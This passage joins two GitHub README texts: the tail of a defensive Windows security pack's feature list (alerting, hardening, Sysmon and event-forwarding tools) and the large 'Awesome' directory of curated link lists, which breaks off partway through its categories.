upgrade - Receive an alert when a new computer is joined to the domain - Receive an alert when an insecure LDAP bind occurs (When Bind is not LDAP over SSL) - Receive an alert when a user signs into a device they were not assigned - __Hardening Cmdlets__ [VIEW](https://github.com/tobor88/BTPS-SecPack/tree/master/Hardening%20Cmdlets) - Receive daily information on Azure sign ins for your users - Disable weak TLS and SSL protocols on a Client or IIS Server - Enable DNS over HTTPS when available - Enable HSTS on a local IIS Server - Fix any service paths that contain spaces in the directory names but no quotations used to prevent the execution of injected payloads - Uninstall PowerShell version 2 from a remote or local machine(s) - Remove an email reported as spam from all inboxes that receive the email - Rotate the Kerberos keys used in an online exchange environment - Enable or Disable SMB signing on a device as well as disable or enable SMBv1 or SMBv2 and SMBv3 - Enable RDP Network Level Authentication to prevent not domain computers from RDPing into a client - Update any available driver updates on a local or remote machine - Add a notification banner to emails that users receive in Outlook when the sender name matches a name in the company and the email address is not from the internal domain - Create Transport Rule that enables Microsoft Exchange servers to reject failed DMARC email messages - __Local Port Scan Monitor__ [VIEW](https://github.com/tobor88/BTPS-SecPack/tree/master/Local%20Port%20Scan%20Monitor) - Receive an alert when a port scan is detected on a local device - Receive an alert for when a bind shell is opened and keep a record of all established connections to a device including the port and protocols used - __Sysmon__ [VIEW](https://github.com/tobor88/BTPS-SecPack/tree/master/Sysmon) - Enable Sysmon loggging in an environment using a default customized sysmon configuration file - Use WHOIS domain lookup to discover domains that were connected to less than 2 years old and receive an alert when a client connection happens - Perform a blacklist check on IP addresses that were connected too and receive alerts when a client connection happens - Perform a hash validation on Windows processes to discover MD5 hashes that Virus Total returns results on - __WEF Application__ [VIEW](https://github.com/tobor88/BTPS-SecPack/tree/master/WEF%20Application) - Configure Windows Event Forwarding to collect events that are clear indications of compromise - Receive alerts when the Centralized Windows Event Collector logs any indicators of compromise - View the log files inside an application to prevent needing to sign into the server to view the collected alerts - __Windows Update Cmdlets__ [VIEW](https://github.com/tobor88/BTPS-SecPack/tree/master/Windows%20Update%20Cmdlets) - Cmdlets that can be used to install all available windows updates - Cmdlet that can remove a single KB update that is not updating for whatever reason. Once removed you can use Update-Windows to reinstall the issued update. - __Import-ScheduledTask__ [VIEW](https://github.com/tobor88/BTPS-SecPack/blob/master/Import-ScheduledTask.ps1) - This is a cmdlet I am going to be using when I complete the Install.ps1 file that can be used to configure all of the above. For now use the READMEs I have provided to install the desired functionalitys.

<div align="center"> <img width="500" height="350" src="media/logo.svg" alt="Awesome"> <br> <br> <hr> <p> <p> ^{<a href="https://github.com/sponsors/sindresorhus">My open source work is supported by the community</a>} </p> ^{Special thanks to:} <br> <br> <a href="https://github.com/botpress/botpress"> <img src="https://sindresorhus.com/assets/thanks/botpress-logo.svg" width="260" alt="Botpress"> </a> <br> _{<b>Botpress is an open-source conversational assistant creation platform.</b>} <br> _{They <a href="https://github.com/botpress/botpress/blob/master/.github/CONTRIBUTING.md">welcome contributions</a> from anyone, whether you're into machine learning,<br>want to get started in open-source, or just have an improvement idea.} <br> </p> <hr> <br> <br> <br> <br> </div> <p align="center"> <a href="awesome.md">What is an awesome list?</a>&nbsp;&nbsp;&nbsp; <a href="contributing.md">Contribution guide</a>&nbsp;&nbsp;&nbsp; <a href="create-list.md">Creating a list</a>&nbsp;&nbsp;&nbsp; <a href="https://twitter.com/awesome__re">Twitter</a>&nbsp;&nbsp;&nbsp; <a href="https://www.redbubble.com/people/sindresorhus/works/30364188-awesome-logo">Stickers & t-shirts</a> </p> <br> <div align="center"> <b>Follow the <a href="https://twitter.com/awesome__re">Awesome Twitter account</a> for updates on new list additions.</b> </div> <br> <p align="center"> _{Just type <a href="https://awesome.re"><code>awesome.re</code></a> to go here. Check out my <a href="https://blog.sindresorhus.com">blog</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.} </p> <br> ## Contents - [Platforms](#platforms) - [Programming Languages](#programming-languages) - [Front-End Development](#front-end-development) - [Back-End Development](#back-end-development) - [Computer Science](#computer-science) - [Big Data](#big-data) - [Theory](#theory) - [Books](#books) - [Editors](#editors) - [Gaming](#gaming) - [Development Environment](#development-environment) - [Entertainment](#entertainment) - [Databases](#databases) - [Media](#media) - [Learn](#learn) - [Security](#security) - [Content Management Systems](#content-management-systems) - [Hardware](#hardware) - [Business](#business) - [Work](#work) - [Networking](#networking) - [Decentralized Systems](#decentralized-systems) - [Higher Education](#higher-education) - [Events](#events) - [Miscellaneous](#miscellaneous) - [Related](#related) --- <div align="center"> <p> <a href="https://triplebyte.com/a/aZxgKGg/d"> <b>Looking for a job?</b> <br> No resume needed. Just prove you can code. <br> <div> <img src="https://user-images.githubusercontent.com/170270/66039619-9363c380-e53f-11e9-9b56-ae6e8ab336ba.png" width="260" alt="Tripblebyte"> </div> </a> _{<i>Clicking this helps fund the Awesome project</i>} </p> </div> --- ## Platforms - [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine. - [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js. - [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme) - [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets. - [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google. - [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme) - [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS. - [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps. - [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android. - [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution. - [Linux](https://github.com/aleksandar-todorovic/awesome-linux#readme) - [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme) - [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems. - [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux. - [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers. - [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme) - [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme) - [Apps](https://github.com/jaywcjlove/awesome-mac#readme) - [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme) - [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch. - [JVM](https://github.com/deephacks/awesome-jvm#readme) - [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme) - [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme) - [Windows](https://github.com/Awesome-Windows/Awesome#readme) - [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol. - [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools. - [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service. - [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more. - [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework. - [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system. - [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby. - [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms. - [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux. - [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience. - [.NET](https://github.com/quozd/awesome-dotnet#readme) - [Core](https://github.com/thangchung/awesome-dotnet-core#readme) - [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages. - [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant. - [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers. - [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart. - [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first. - [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies. - [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform. - [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps. - [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device. - [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site. - [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant. ## Programming Languages - [JavaScript](https://github.com/sorrycc/awesome-javascript#readme) - [Promises](https://github.com/wbinnssmith/awesome-promises#readme) - [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter. - [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme) - [Tips](https://github.com/loverajoel/jstips#readme) - [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme) - [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme) - [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist. - [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages. - [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager. - [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner. - [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter. - [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme) - [Observables](https://github.com/sindresorhus/awesome-observables#readme) - [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner. - [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds. - [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast. - [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme) - [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme) - [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability. - [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3. - [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music. - [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers. - [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning. - [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python. - [Rust](https://github.com/rust-unofficial/awesome-rust#readme) - [Haskell](https://github.com/krispo/awesome-haskell#readme) - [PureScript](https://github.com/passy/awesome-purescript#readme) - [Go](https://github.com/avelino/awesome-go#readme) - [Scala](https://github.com/lauris/awesome-scala#readme) - [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM. - [Ruby](https://github.com/markets/awesome-ruby#readme) - [Clojure](https://github.com/razum2um/awesome-clojure#readme) - [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme) - [Elixir](https://github.com/h4cc/awesome-elixir#readme) - [Elm](https://github.com/sporto/awesome-elm#readme) - [Erlang](https://github.com/drobakowski/awesome-erlang#readme) - [Julia](https://github.com/svaksha/Julia.jl#readme) - [Lua](https://github.com/LewisJEllis/awesome-lua#readme) - [C](https://github.com/aleksandar-todorovic/awesome-c#readme) - [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software. - [R](https://github.com/qinwf/awesome-R#readme) - [D](https://github.com/zhaopuming/awesome-d#readme) - [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - Powerful dynamic multiparadigm language that facilitates iterative and interactive development. - [Learning](https://github.com/GustavBertram/awesome-common-lisp-learning#readme) - [Perl](https://github.com/hachiojipm/awesome-perl#readme) - [Groovy](https://github.com/kdabir/awesome-groovy#readme) - [Dart](https://github.com/yissachar/awesome-dart#readme) - [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere". - [RxJava](https://github.com/eleventigers/awesome-rxjava#readme) - [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme) - [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme) - [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme) - [Fortran](https://github.com/rabbiabram/awesome-fortran#readme) - [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language. - [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager. - [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme) - [Assembler](https://github.com/lurumdare/awesome-asm#readme) - [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme) - [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme) - [Crystal](https://github.com/veelenga/awesome-crystal#readme) - [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM. - [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software. - [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR. - [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM. - [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML. - [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential. - [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms. - [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript. - [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code. ## Front-End Development - [ES6 Tools](https://github.com/addyosmani/es6-tools#readme) - [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme) - [Web Tools](https://github.com/lvwzhen/tools#readme) - [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen. - [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme) - [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme) - [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme) - [Protips](https://github.com/AllThingsSmitty/css-protips#readme) - [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme) - [React](https://github.com/enaqx/awesome-react#readme) - App framework. - [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps. - [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class. - [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme) - [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components. - [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework. - [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework. - [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps. - [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format. - [Canvas](https://github.com/raphamorim/awesome-canvas#readme) - [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library. - [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit. - [Inspiration](https://github.com/NoahBuscher/Inspire#readme) - [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework. - [Android UI](https://github.com/wasabeef/awesome-android-ui#readme) - [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme) - [Meteor](https://github.com/Urigo/awesome-meteor#readme) - [BEM](https://github.com/sturobson/BEM-resources#readme) - [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme) - [Web Typography](https://github.com/deanhume/typography#readme) - [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme) - [Material Design](https://github.com/sachin1092/awesome-material#readme) - [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations. - [Emails](https://github.com/jonathandion/awesome-emails#readme) - [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation. - [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme) - [Web Audio](https://github.com/notthetup/awesome-webaudio#readme) - [Offline-First](https://github.com/pazguille/offline-first#readme) - [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme) - [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework. - [Text Editing](https://github.com/dok/awesome-text-editing#readme) - [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme) - [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework. - [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework. - [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework. - [Charting](https://github.com/zingchart/awesome-charting#readme) - [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme) - [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme) - [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool. - [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React. - [Service Workers](https://github.com/TalAter/awesome-service-workers#readme) - [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme) - [choo](https://github.com/choojs/awesome-choo#readme) - App framework. - [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps. - [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler. - [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler. - [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor. - [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language. - [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor. - [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics. - [Preact](https://github.com/ooade/awesome-preact#readme) - App framework. - [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme) - [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps. - [Hyperapp](https://github.com/jorgebucaran/awesome-hyperapp#readme) - Tiny JavaScript library for building web apps. - [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript. - [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup. - [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end. - [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience. - [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components. - [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly. - [Web Performance Metrics](https://github.com/csabapalfi/awesome-web-performance-metrics#readme) - Metrics to help understand page speed and user experience. - [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development. - [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly. - [Web Performance Budget](https://github.com/pajaydev/awesome-performance-budget#readme) - Techniques to ensure certain performance metrics for a website. - [Web Animation](https://github.com/sergey-pimenov/awesome-web-animation#readme) - Animations in the browser with JavaScript, CSS, SVG, etc. ## Back-End Development - [Flask](https://github.com/humiaozuzu/awesome-flask#readme) - Python framework. - [Docker](https://github.com/veggiemonk/awesome-docker#readme) - [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment. - [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework. - [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme) - [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework. - [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework. - [Education](https://github.com/pehapkari/awesome-symfony-education#readme) - [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework. - [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme) - [Rails](https://github.com/ekremkaraca/awesome-rails#readme) - Web app framework for Ruby. - [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages. - [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework. - [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme) - [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server. - [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework. - [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations. - [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework. - [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures. - [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework. - [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM. - [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure. - [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift. - [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework. ## Computer Science - [University Courses](https://github.com/prakhar1989/awesome-courses#readme) - [Data Science](https://github.com/bulutyazilim/awesome-datascience#readme) - [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme) - [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme) - [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme) - [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby. - [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework. - [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala. - [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme) - [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme) - [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme) - [Question Answering](https://github.com/seriousmac/awesome-qa#readme) - The science of asking and answering in natural language with a machine. - [Natural Language Generation](https://github.com/tokenmill/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications. - [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme) - [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme) - [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers. - [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme) - [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks. - [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence. - [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers. - [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme) - [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme) - [Open Source Society University](https://github.com/ossu/computer-science#readme) - [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme) - [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems. - [Static Analysis & Code Quality](https://github.com/mre/awesome-static-analysis#readme) - [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine. - [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers. ## Big Data - [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme) - [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme) - [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets. - [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme) - [Streaming](https://github.com/manuzhang/awesome-streaming#readme) - [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing. - [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps. - [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time. ## Theory - [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme) - [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme) - [Algorithms](https://github.com/tayllan/awesome-algorithms#readme) - [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing. - [Algorithm Visualizations](https://github.com/enjalot/algovis#readme) - [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme) - [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme) - [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme) - [Math](https://github.com/rossant/awesome-math#readme) - [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures. ## Books - [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme) - [Free Software Testing Books](https://github.com/ligurio/awesome-software-quality#readme) - [Go Books](https://github.com/dariubs/GoBooks#readme) - [R Books](https://github.com/RomanTsegelskyi/rbooks#readme) - [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme) - [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme) - [Elixir Books](https://github.com/sger/ElixirBooks#readme) ## Editors - [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme) - [Vim](https://github.com/mhinz/vim-galore#readme) - [Emacs](https://github.com/emacs-tw/awesome-emacs#readme) - [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor. - [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor. ## Gaming - [Game Development](https://github.com/ellisonleao/magictools#readme) - [Game Networking](https://github.com/MFatihMAR/Awesome-Game-Networking#readme) - Network programming for multiplayer online games. - [Game Talks](https://github.com/hzoo/awesome-gametalks#readme) - [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine. - [Open Source Games](https://github.com/leereilly/games#readme) - [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine. - [Chess](https://github.com/hkirat/awesome-chess#readme) - [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine. - [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console. - [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme) - [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine. - [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine. - [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game. - [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games. - [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code. - [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework. - [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine. ## Development Environment - [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS. - [Dev Env](https://github.com/jondot/awesome-devenv#readme) - [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme) - [Shell](https://github.com/alebcay/awesome-shell#readme) - [Fish](https://github.com/jorgebucaran/awesome-fish#readme) - User-friendly shell. - [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme) - [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme) - [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories. - [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme) - [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme) - [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile. - [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme) - [Git Tips](https://github.com/git-tips/tips#readme) - [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI. - [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows. - [SSH](https://github.com/moul/awesome-ssh#readme) - [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme) - [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies. - [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell. - [Alfred Workflows](https://github.com/derimagia/awesome-alfred-workflows#readme) - Productivity app for macOS. - [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme) - [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub. ## Entertainment - [Science 